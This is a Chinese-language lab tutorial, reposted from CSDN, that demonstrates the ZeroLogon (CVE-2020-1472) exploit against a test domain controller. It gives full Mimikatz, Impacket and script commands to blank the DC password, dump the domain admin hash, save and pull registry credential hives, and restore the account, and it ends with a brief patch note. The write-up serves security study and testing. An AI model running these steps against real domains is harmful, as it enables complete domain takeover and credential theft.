AD 提权-CVE-2020-1472:ZeroLogon
本文转载自 CSDN-Captain_RB 的 ZeroLogon (CVE-2020-1472) 漏洞利用这篇文章,本人仅对其排版和小部分内容做了一点小改动而已。
导航
0、前言
ZeroLogon (CVE-2020-1472) 是近几年 Windows 上曝出的高危漏洞,CVSS V3.0 评分 10.0,攻击者只需要定位域控主机名及 IP,并且可以访问域控,就可以在无需任何凭据的情况下 (可在域外) 拿到域管理员的权限。
1、漏洞介绍
ZeroLogon (CVE-2020-1472) 影响域内登录认证协议 Netlogon (MS-NRPC) 中所使用的加密身份验证方案 (AES-CFB8),在通过 NetLogon 协议与 AD 域控建立安全通道时,强行登录尝试,对全零的纯文本应用 AES-CFB8 加密将导致全零的密文,从而可以绕过正常认证,进一步可获取域管理员 HASH,获取域管权限。
影响范围:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
2、漏洞利用
2.0、实验环境
- OS: Microsoft Windows Server 2016 Datacenter
- Hostname: DC01
- IP: 192.168.43.100
- Domain: main.test.com
- NetBIOS Domain Name: MAIN
注:攻击机不在域内,但能访问域控,工具和指令均在攻击机上操作。
2.1、验证漏洞存在
方法一:Mimikatz
下载新版本,需要支持 ZeroLogon 漏洞利用:https://github.com/gentilkiwi/mimikatz
mimikatz.exe "lsadump::zerologon /target:192.168.43.100 /account:DC01$" exit
方法二:工具 https://github.com/SecuraBV/CVE-2020-1472
python3 zerologon_tester.py DC01 192.168.43.100
2.2、置空域控 HASH
注意:域控的机器帐户 HASH 存储在注册表中,系统启动时会将其加载到 lsass,当攻击置空域控 HASH 后,仅 AD (NTDS.DIT) 中的密码会更改,而不是注册表或加载到 lsass 中的密码,这样将会导致域控脱域,无法使用 Kerberos 进行身份验证,因此要尽快恢复。
方法一:Mimikatz
mimikatz.exe "lsadump::zerologon /target:192.168.43.100 /account:DC01$ /exploit" exit
方法二:工具 https://github.com/risksense/zerologon
python3 set_empty_pw.py DC01 192.168.43.100
方法三:工具 https://github.com/dirkjanm/CVE-2020-1472
python3 cve-2020-1472-exploit.py DC01 192.168.43.100
2.3、获取域管 HASH
方法一:Mimikatz
mimikatz.exe "lsadump::dcsync /domain:main.test.com /dc:DC01 /user:administrator /authuser:DC01$ /authdomain:main /authpassword:"" /authntlm" exit
运行结果如下所示,获取域管 MAIN\Administrator 的 HASH 为 cf83cd7efde13e0ce754874aaa979a74

方法二:Impacket
Impacket 工具包地址:https://github.com/SecureAuthCorp/impacket,利用其中的 secretsdump.py 工具获取域管 HASH:
# 31d6cfe0d16ae931b73c59d7e0c089c0 是空值的 HASH
python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/DC01$@192.168.43.100
或
python3 secretsdump.py MAIN/'DC01$'@192.168.43.100 -just-dc -no-pass
运行结果如下所示,获取域管 MAIN\Administrator 的 HASH 为 cf83cd7efde13e0ce754874aaa979a74,注意此时 NTDS.DIT 中域控 DC01$的 HASH 已是空值 31d6cfe0d16ae931b73c59d7e0c089c0。

2.4、恢复域控 HASH
Mimikatz 恢复域控 HASH 是将 NTDS.DIT 中的凭证以及注册表 lsass 中的凭证同时修改为 (Waza1234/Waza1234/Waza1234),并非是原本值,虽然不影响域运行,但是还是留下了痕迹。
推荐方法是恢复成原始的 HASH,首先要获取注册表信息中域控原始 HASH,可以利用 Impacket 包中的 wmiexec.py、psexec.py 工具获取,以 wmiexec.py 为例,命令中进行了 HASH 传递,凭证是刚刚获取的域管 HASH:
python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/administrator@192.168.43.100
# 获取注册表转储文件,默认存在目标机C:\目录下
# 目标机中文系统会提示解码错误,不影响使用
# /y:强制覆盖已存在文件,避免目标机C:\目录下存在同名文件,命令会询问是否覆盖,半交互环境程序会卡住
C:\>reg save HKLM\SYSTEM system.hive /y
C:\>reg save HKLM\SAM sam.hive /y
C:\>reg save HKLM\SECURITY security.hive /y
# 将转储文件,下载到本地
C:\>lget system.hive
C:\>lget sam.hive
C:\>lget security.hive
# 删除目标机上的转储文件
C:\>del /f system.hive
C:\>del /f sam.hive
C:\>del /f security.hive
C:\>exit
# 通过注册表转储导出 HASH
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
运行结果如下所示,域控密钥 (HEX) 为: 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099,NTLM HASH 为: aad3b435b51404eeaad3b435b51404ee:ecf5b7fcd090c34fedd3056ae8da65ad,注意这里与上一步抓出来的空 HASH 不同,因为 上一步中获取的是 NTDS.DIT 中域控 HASH 记录,而这一步获取的是注册表中 HASH 记录。

然后用工具恢复,将注册表中 HASH 记录同步到 NTDS.DIT:
方法一:工具 https://github.com/risksense/zerologon
利用 NT HASH 恢复:
python3 reinstall_original_pw.py DC01 192.168.43.100 ecf5b7fcd090c34fedd3056ae8da65ad
方法二:工具 https://github.com/dirkjanm/CVE-2020-1472
利用密钥 (HEX) 恢复:
python3 restorepassword.py main/dc01@dc01 -target-ip 192.168.43.100 -hexpass 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099
方法三:Powershell
首先利用远程执行命令工具 (wmiexec、psexec、smbexec、atexec 等) 获取域控 shell,然后利用 powershell 命令重置主机 HASH,注意这种方法并不是恢复原 HASH,而是将 NTDS.DIT 中的凭证以及注册表 lsass 中的凭证重置 (随机数):
python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/administrator@192.168.43.100
C:\>powershell -c Reset-ComputerMachinePassword
3、漏洞修复
参考 Microsoft 安全更新程序指南,域控上安装相应补丁即可,成员机不需要。